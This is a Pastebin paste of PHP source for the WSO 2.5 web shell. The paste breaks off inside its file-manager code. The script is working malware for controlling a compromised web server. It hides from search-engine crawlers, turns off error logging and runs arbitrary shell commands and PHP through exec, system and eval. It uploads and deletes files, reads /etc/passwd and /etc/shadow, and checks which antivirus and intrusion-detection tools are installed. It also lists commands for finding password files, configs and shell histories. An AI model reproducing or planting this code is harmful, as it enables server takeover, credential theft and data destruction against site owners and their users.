daily pastebin goal
27%
SHARE
TWEET

mbuh

a guest Apr 27th, 2016 129 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. $color = "#39dd18";
  3. $default_action = 'FilesMan';
  4. $default_use_ajax = true;
  5. $default_charset = 'Windows-1251';
  6. if($argc == 3) {
  7. $_POST = unserialize(base64_decode($argv[1]));
  8. $_SERVER = unserialize(base64_decode($argv[2]));
  9. }
  10. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  11. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  12. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  13. header('HTTP/1.0 404 Not Found');
  14. exit;
  15. }
  16. }
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('WSO_VERSION', '2.5');
  23. if(get_magic_quotes_gpc()) {
  24. function WSOstripslashes($array) {
  25. return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  26. }
  27. $_POST = WSOstripslashes($_POST);
  28. $_COOKIE = WSOstripslashes($_COOKIE);
  29. }
  30. function wsoLogin() {
  31. die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  32. }
  33. function WSOsetcookie($k, $v) {
  34. $_COOKIE[$k] = $v;
  35. setcookie($k, $v);
  36. }
  37. if(!empty($auth_pass)) {
  38. if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  39. WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  40. if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  41. wsoLogin();
  42. }
  43. if(strtolower(substr(PHP_OS,0,3)) == "win")
  44. $os = 'win';
  45. else
  46. $os = 'nix';
  47. $safe_mode = @ini_get('safe_mode');
  48. if(!$safe_mode)
  49. error_reporting(0);
  50. $disable_functions = @ini_get('disable_functions');
  51. $home_cwd = @getcwd();
  52. if(isset($_POST['c']))
  53. @chdir($_POST['c']);
  54. $cwd = @getcwd();
  55. if($os == 'win') {
  56. $home_cwd = str_replace("\\", "/", $home_cwd);
  57. $cwd = str_replace("\\", "/", $cwd);
  58. }
  59. if($cwd[strlen($cwd)-1] != '/')
  60. $cwd .= '/';
  61. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  62. $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  63. if($os == 'win')
  64. $aliases = array(
  65. "List Directory" => "dir",
  66. "Find index.php in current dir" => "dir /s /w /b index.php",
  67. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  68. "Show active connections" => "netstat -an",
  69. "Show running services" => "net start",
  70. "User accounts" => "net user",
  71. "Show computers" => "net view",
  72. "ARP Table" => "arp -a",
  73. "IP Configuration" => "ipconfig /all"
  74. );
  75. else
  76. $aliases = array(
  77. "List dir" => "ls -lha",
  78. "list file attributes on a Linux second extended file system" => "lsattr -va",
  79. "show opened ports" => "netstat -an | grep -i listen",
  80. "process status" => "ps aux",
  81. "Find" => "",
  82. "find all suid files" => "find / -type f -perm -04000 -ls",
  83. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  84. "find all sgid files" => "find / -type f -perm -02000 -ls",
  85. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  86. "find config.inc.php files" => "find / -type f -name config.inc.php",
  87. "find config* files" => "find / -type f -name \"config*\"",
  88. "find config* files in current dir" => "find . -type f -name \"config*\"",
  89. "find all writable folders and files" => "find / -perm -2 -ls",
  90. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  91. "find all service.pwd files" => "find / -type f -name service.pwd",
  92. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  93. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  94. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  95. "find all .bash_history files" => "find / -type f -name .bash_history",
  96. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  97. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  98. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  99. "Locate" => "",
  100. "locate httpd.conf files" => "locate httpd.conf",
  101. "locate vhosts.conf files" => "locate vhosts.conf",
  102. "locate proftpd.conf files" => "locate proftpd.conf",
  103. "locate psybnc.conf files" => "locate psybnc.conf",
  104. "locate my.conf files" => "locate my.conf",
  105. "locate admin.php files" =>"locate admin.php",
  106. "locate cfg.php files" => "locate cfg.php",
  107. "locate conf.php files" => "locate conf.php",
  108. "locate config.dat files" => "locate config.dat",
  109. "locate config.php files" => "locate config.php",
  110. "locate config.inc files" => "locate config.inc",
  111. "locate config.inc.php" => "locate config.inc.php",
  112. "locate config.default.php files" => "locate config.default.php",
  113. "locate config* files " => "locate config",
  114. "locate .conf files"=>"locate '.conf'",
  115. "locate .pwd files" => "locate '.pwd'",
  116. "locate .sql files" => "locate '.sql'",
  117. "locate .htpasswd files" => "locate '.htpasswd'",
  118. "locate .bash_history files" => "locate '.bash_history'",
  119. "locate .mysql_history files" => "locate '.mysql_history'",
  120. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  121. "locate backup files" => "locate backup",
  122. "locate dump files" => "locate dump",
  123. "locate priv files" => "locate priv"
  124. );
  125. function wsoHeader() {
  126. if(empty($_POST['charset']))
  127. $_POST['charset'] = $GLOBALS['default_charset'];
  128. global $color;
  129. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
  130. <style>
  131. body{background-color:#444;color:#e1e1e1;}
  132. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  133. table.info{ color:#fff;background-color:#222; }
  134. span,h1,a{ color: $color !important; }
  135. span{ font-weight: bolder; }
  136. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  137. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  138. a{ text-decoration:none; }
  139. a:hover{ text-decoration:underline; }
  140. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  141. .bigarea{ width:100%;height:300px; }
  142. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  143. form{ margin:0px; }
  144. #toolsTbl{ text-align:center; }
  145. .toolsInp{ width: 300px }
  146. .main th{text-align:left;background-color:#5e5e5e;}
  147. .main tr:hover{background-color:#5e5e5e}
  148. .l1{background-color:#444}
  149. .l2{background-color:#333}
  150. pre{font-family:Courier,Monospace;}
  151. </style>
  152. <script>
  153. var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  154. var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  155. var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  156. var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  157. var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  158. var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  159. var d = document;
  160. function set(a,c,p1,p2,p3,charset) {
  161. if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  162. if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  163. if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  164. if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  165. if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  166. if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  167. }
  168. function g(a,c,p1,p2,p3,charset) {
  169. set(a,c,p1,p2,p3,charset);
  170. d.mf.submit();
  171. }
  172. function a(a,c,p1,p2,p3,charset) {
  173. set(a,c,p1,p2,p3,charset);
  174. var params = 'ajax=true';
  175. for(i=0;i<d.mf.elements.length;i++)
  176. params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  177. sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  178. }
  179. function sr(url, params) {
  180. if (window.XMLHttpRequest)
  181. req = new XMLHttpRequest();
  182. else if (window.ActiveXObject)
  183. req = new ActiveXObject('Microsoft.XMLHTTP');
  184. if (req) {
  185. req.onreadystatechange = processReqChange;
  186. req.open('POST', url, true);
  187. req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  188. req.send(params);
  189. }
  190. }
  191. function processReqChange() {
  192. if( (req.readyState == 4) )
  193. if(req.status == 200) {
  194. var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  195. var arr=reg.exec(req.responseText);
  196. eval(arr[2].substr(0, arr[1]));
  197. } else alert('Request error!');
  198. }
  199. </script>
  200. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  201. <form method=post name=mf style='display:none;'>
  202. <input type=hidden name=a>
  203. <input type=hidden name=c>
  204. <input type=hidden name=p1>
  205. <input type=hidden name=p2>
  206. <input type=hidden name=p3>
  207. <input type=hidden name=charset>
  208. </form>";
  209. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  210. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  211. $totalSpace = $totalSpace?$totalSpace:1;
  212. $release = @php_uname('r');
  213. $kernel = @php_uname('s');
  214. $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  215. if(strpos('Linux', $kernel) !== false)
  216. $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  217. else
  218. $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  219. if(!function_exists('posix_getegid')) {
  220. $user = @get_current_user();
  221. $uid = @getmyuid();
  222. $gid = @getmygid();
  223. $group = "?";
  224. } else {
  225. $uid = @posix_getpwuid(posix_geteuid());
  226. $gid = @posix_getgrgid(posix_getegid());
  227. $user = $uid['name'];
  228. $uid = $uid['uid'];
  229. $group = $gid['name'];
  230. $gid = $gid['gid'];
  231. }
  232. $cwd_links = '';
  233. $path = explode("/", $GLOBALS['cwd']);
  234. $n=count($path);
  235. for($i=0; $i<$n-1; $i++) {
  236. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  237. for($j=0; $j<=$i; $j++)
  238. $cwd_links .= $path[$j].'/';
  239. $cwd_links .= "\")'>".$path[$i]."/</a>";
  240. }
  241. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  242. $opt_charsets = '';
  243. foreach($charsets as $item)
  244. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  245. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Melex'=>'Melex');
  246. if(!empty($GLOBALS['auth_pass']))
  247. $m['Logout'] = 'Logout';
  248. $m['Self remove'] = 'SelfRemove';
  249. $menu = '';
  250. foreach($m as $k => $v)
  251. $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  252. $drives = "";
  253. if($GLOBALS['os'] == 'win') {
  254. foreach(range('c','z') as $drive)
  255. if(is_dir($drive.':\\'))
  256. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  257. }
  258. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
  259. . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
  260. . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
  261. . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
  262. . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
  263. }
  264. function wsoFooter() {
  265. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  266. echo "
  267. </div>
  268. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  269. <tr>
  270. <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  271. <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  272. </tr><tr>
  273. <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  274. <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  275. </tr><tr>
  276. <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  277. <td><form method='post' ENCTYPE='multipart/form-data'>
  278. <input type=hidden name=a value='FilesMAn'>
  279. <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  280. <input type=hidden name=p1 value='uploadFile'>
  281. <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  282. <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
  283. </tr></table></div></body></html>";
  284. }
  285. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  286. function posix_getpwuid($p) {return false;} }
  287. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  288. function posix_getgrgid($p) {return false;} }
  289. function wsoEx($in) {
  290. $out = '';
  291. if (function_exists('exec')) {
  292. @exec($in,$out);
  293. $out = @join("\n",$out);
  294. } elseif (function_exists('passthru')) {
  295. ob_start();
  296. @passthru($in);
  297. $out = ob_get_clean();
  298. } elseif (function_exists('system')) {
  299. ob_start();
  300. @system($in);
  301. $out = ob_get_clean();
  302. } elseif (function_exists('shell_exec')) {
  303. $out = shell_exec($in);
  304. } elseif (is_resource($f = @popen($in,"r"))) {
  305. $out = "";
  306. while(!@feof($f))
  307. $out .= fread($f,1024);
  308. pclose($f);
  309. }
  310. return $out;
  311. }
  312. function wsoViewSize($s) {
  313. if($s >= 1073741824)
  314. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  315. elseif($s >= 1048576)
  316. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  317. elseif($s >= 1024)
  318. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  319. else
  320. return $s . ' B';
  321. }
  322. function wsoPerms($p) {
  323. if (($p & 0xC000) == 0xC000)$i = 's';
  324. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  325. elseif (($p & 0x8000) == 0x8000)$i = '-';
  326. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  327. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  328. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  329. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  330. else $i = 'u';
  331. $i .= (($p & 0x0100) ? 'r' : '-');
  332. $i .= (($p & 0x0080) ? 'w' : '-');
  333. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  334. $i .= (($p & 0x0020) ? 'r' : '-');
  335. $i .= (($p & 0x0010) ? 'w' : '-');
  336. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  337. $i .= (($p & 0x0004) ? 'r' : '-');
  338. $i .= (($p & 0x0002) ? 'w' : '-');
  339. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  340. return $i;
  341. }
  342. function wsoPermsColor($f) {
  343. if (!@is_readable($f))
  344. return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
  345. elseif (!@is_writable($f))
  346. return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
  347. else
  348. return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
  349. }
  350. function wsoScandir($dir) {
  351. if(function_exists("scandir")) {
  352. return scandir($dir);
  353. } else {
  354. $dh = opendir($dir);
  355. while (false !== ($filename = readdir($dh)))
  356. $files[] = $filename;
  357. return $files;
  358. }
  359. }
  360. function wsoWhich($p) {
  361. $path = wsoEx('which ' . $p);
  362. if(!empty($path))
  363. return $path;
  364. return false;
  365. }
  366. function actionSecInfo() {
  367. wsoHeader();
  368. echo '<h1>Server security information</h1><div class=content>';
  369. function wsoSecParam($n, $v) {
  370. $v = trim($v);
  371. if($v) {
  372. echo '<span>' . $n . ': </span>';
  373. if(strpos($v, "\n") === false)
  374. echo $v . '<br>';
  375. else
  376. echo '<pre class=ml1>' . $v . '</pre>';
  377. }
  378. }
  379. wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  380. if(function_exists('apache_get_modules'))
  381. wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  382. wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  383. wsoSecParam('Open base dir', @ini_get('open_basedir'));
  384. wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  385. wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  386. wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  387. $temp=array();
  388. if(function_exists('mysql_get_client_info'))
  389. $temp[] = "MySql (".mysql_get_client_info().")";
  390. if(function_exists('mssql_connect'))
  391. $temp[] = "MSSQL";
  392. if(function_exists('pg_connect'))
  393. $temp[] = "PostgreSQL";
  394. if(function_exists('oci_connect'))
  395. $temp[] = "Oracle";
  396. wsoSecParam('Supported databases', implode(', ', $temp));
  397. echo '<br>';
  398. if($GLOBALS['os'] == 'nix') {
  399. wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  400. wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  401. wsoSecParam('OS version', @file_get_contents('/proc/version'));
  402. wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  403. if(!$GLOBALS['safe_mode']) {
  404. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  405. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  406. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  407. echo '<br>';
  408. $temp=array();
  409. foreach ($userful as $item)
  410. if(wsoWhich($item))
  411. $temp[] = $item;
  412. wsoSecParam('Userful', implode(', ',$temp));
  413. $temp=array();
  414. foreach ($danger as $item)
  415. if(wsoWhich($item))
  416. $temp[] = $item;
  417. wsoSecParam('Danger', implode(', ',$temp));
  418. $temp=array();
  419. foreach ($downloaders as $item)
  420. if(wsoWhich($item))
  421. $temp[] = $item;
  422. wsoSecParam('Downloaders', implode(', ',$temp));
  423. echo '<br/>';
  424. wsoSecParam('HDD space', wsoEx('df -h'));
  425. wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
  426. echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  427. if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  428. $temp = "";
  429. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  430. $uid = @posix_getpwuid($_POST['p2']);
  431. if ($uid)
  432. $temp .= join(':',$uid)."\n";
  433. }
  434. echo '<br/>';
  435. wsoSecParam('Users', $temp);
  436. }
  437. }
  438. } else {
  439. wsoSecParam('OS Version',wsoEx('ver'));
  440. wsoSecParam('Account Settings',wsoEx('net accounts'));
  441. wsoSecParam('User Accounts',wsoEx('net user'));
  442. }
  443. echo '</div>';
  444. wsoFooter();
  445. }
  446. function actionPhp() {
  447. if(isset($_POST['ajax'])) {
  448. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  449. ob_start();
  450. eval($_POST['p1']);
  451. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  452. echo strlen($temp), "\n", $temp;
  453. exit;
  454. }
  455. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  456. WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  457. wsoHeader();
  458. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  459. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  460. ob_start();
  461. phpinfo();
  462. $tmp = ob_get_clean();
  463. $tmp = preg_replace(array (
  464. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  465. '!td, th {(.*)}!msiU',
  466. '!<img[^>]+>!msiU',
  467. ), array (
  468. '',
  469. '.e, .v, .h, .h th {$1}',
  470. ''
  471. ), $tmp);
  472. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  473. }
  474. echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  475. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  476. if(!empty($_POST['p1'])) {
  477. ob_start();
  478. eval($_POST['p1']);
  479. echo htmlspecialchars(ob_get_clean());
  480. }
  481. echo '</pre></div>';
  482. wsoFooter();
  483. }
  484. function actionFilesMan() {
  485. if (!empty ($_COOKIE['f']))
  486. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  487. if(!empty($_POST['p1'])) {
  488. switch($_POST['p1']) {
  489. case 'uploadFile':
  490. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  491. echo "Can't upload file!";
  492. break;
  493. case 'mkdir':
  494. if(!@mkdir($_POST['p2']))
  495. echo "Can't create new dir";
  496. break;
  497. case 'delete':
  498. function deleteDir($path) {
  499. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  500. $dh = opendir($path);
  501. while ( ($item = readdir($dh) ) !== false) {
  502. $item = $path.$item;
  503. if ( (basename($item) == "..") || (basename($item) == ".") )
  504. continue;
  505. $type = filetype($item);
  506. if ($type == "dir")
  507. deleteDir($item);
  508. else
  509. @unlink($item);
  510. }
  511. closedir($dh);
  512. @rmdir($path);
  513. }
  514. if(is_array(@$_POST['f']))
  515. foreach($_POST['f'] as $f) {
  516. if($f == '..')
  517. continue;
  518. $f = urldecode($f);
  519. if(is_dir($f))
  520. deleteDir($f);
  521. else
  522. @unlink($f);
  523. }
  524. break;
  525. case 'paste':
  526. if($_COOKIE['act'] == 'copy') {
  527. function copy_paste($c,$s,$d){
  528. if(is_dir($c.$s)){
  529. mkdir($d.$s);
  530. $h = @opendir($c.$s);
  531. while (($f = @readdir($h)) !== false)
  532. if (($f != ".") and ($f != ".."))
  533. copy_paste($c.$s.'/',$f, $d.$s.'/');
  534. } elseif(is_file($c.$s))
  535. @copy($c.$s, $d.$s);
  536. }
  537. foreach($_COOKIE['f'] as $f)
  538. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  539. } elseif($_COOKIE['act'] == 'move') {
  540. function move_paste($c,$s,$d){
  541. if(is_dir($c.$s)){
  542. mkdir($d.$s);
  543. $h = @opendir($c.$s);
  544. while (($f = @readdir($h)) !== false)
  545. if (($f != ".") and ($f != ".."))
  546. copy_paste($c.$s.'/',$f, $d.$s.'/');
  547. } elseif(@is_file($c.$s))
  548. @copy($c.$s, $d.$s);
  549. }
  550. foreach($_COOKIE['f'] as $f)
  551. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  552. } elseif($_COOKIE['act'] == 'zip') {
  553. if(class_exists('ZipArchive')) {
  554. $zip = new ZipArchive();
  555. if ($zip->open($_POST['p2'], 1)) {
  556. chdir($_COOKIE['c']);
  557. foreach($_COOKIE['f'] as $f) {
  558. if($f == '..')
  559. continue;
  560. if(@is_file($_COOKIE['c'].$f))
  561. $zip->addFile($_COOKIE['c'].$f, $f);
  562. elseif(@is_dir($_COOKIE['c'].$f)) {
  563. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  564. foreach ($iterator as $key=>$value) {
  565. $zip->addFile(realpath($key), $key);
  566. }
  567. }
  568. }
  569. chdir($GLOBALS['cwd']);
  570. $zip->close();
  571. }
  572. }
  573. } elseif($_COOKIE['act'] == 'unzip') {
  574. if(class_exists('ZipArchive')) {
  575. $zip = new ZipArchive();
  576. foreach($_COOKIE['f'] as $f) {
  577. if($zip->open($_COOKIE['c'].$f)) {
  578. $zip->extractTo($GLOBALS['cwd']);
  579. $zip->close();
  580. }
  581. }
  582. }
  583. } elseif($_COOKIE['act'] == 'tar') {
  584. chdir($_COOKIE['c']);
  585. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  586. wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  587. chdir($GLOBALS['cwd']);
  588. }
  589. unset($_COOKIE['f']);
  590. setcookie('f', '', time() - 3600);
  591. break;
  592. default:
  593. if(!empty($_POST['p1'])) {
  594. WSOsetcookie('act', $_POST['p1']);
  595. WSOsetcookie('f', serialize(@$_POST['f']));
  596. WSOsetcookie('c', @$_POST['c']);
  597. }
  598. break;
  599. }
  600. }
  601. wsoHeader();
  602. echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  603. $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  604. if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
  605. global $sort;
  606. $sort = array('name', 1);
  607. if(!empty($_POST['p1'])) {
  608. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  609. $sort = array($match[1], (int)$match[2]);
  610. }
  611. echo "<script>
  612. function sa() {
  613. for(i=0;i<d.files.elements.length;i++)
  614. if(d.files.elements[i].type == 'checkbox')
  615. d.files.elements[i].checked = d.files.elements[0].checked;
  616. }
  617. </script>
  618. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
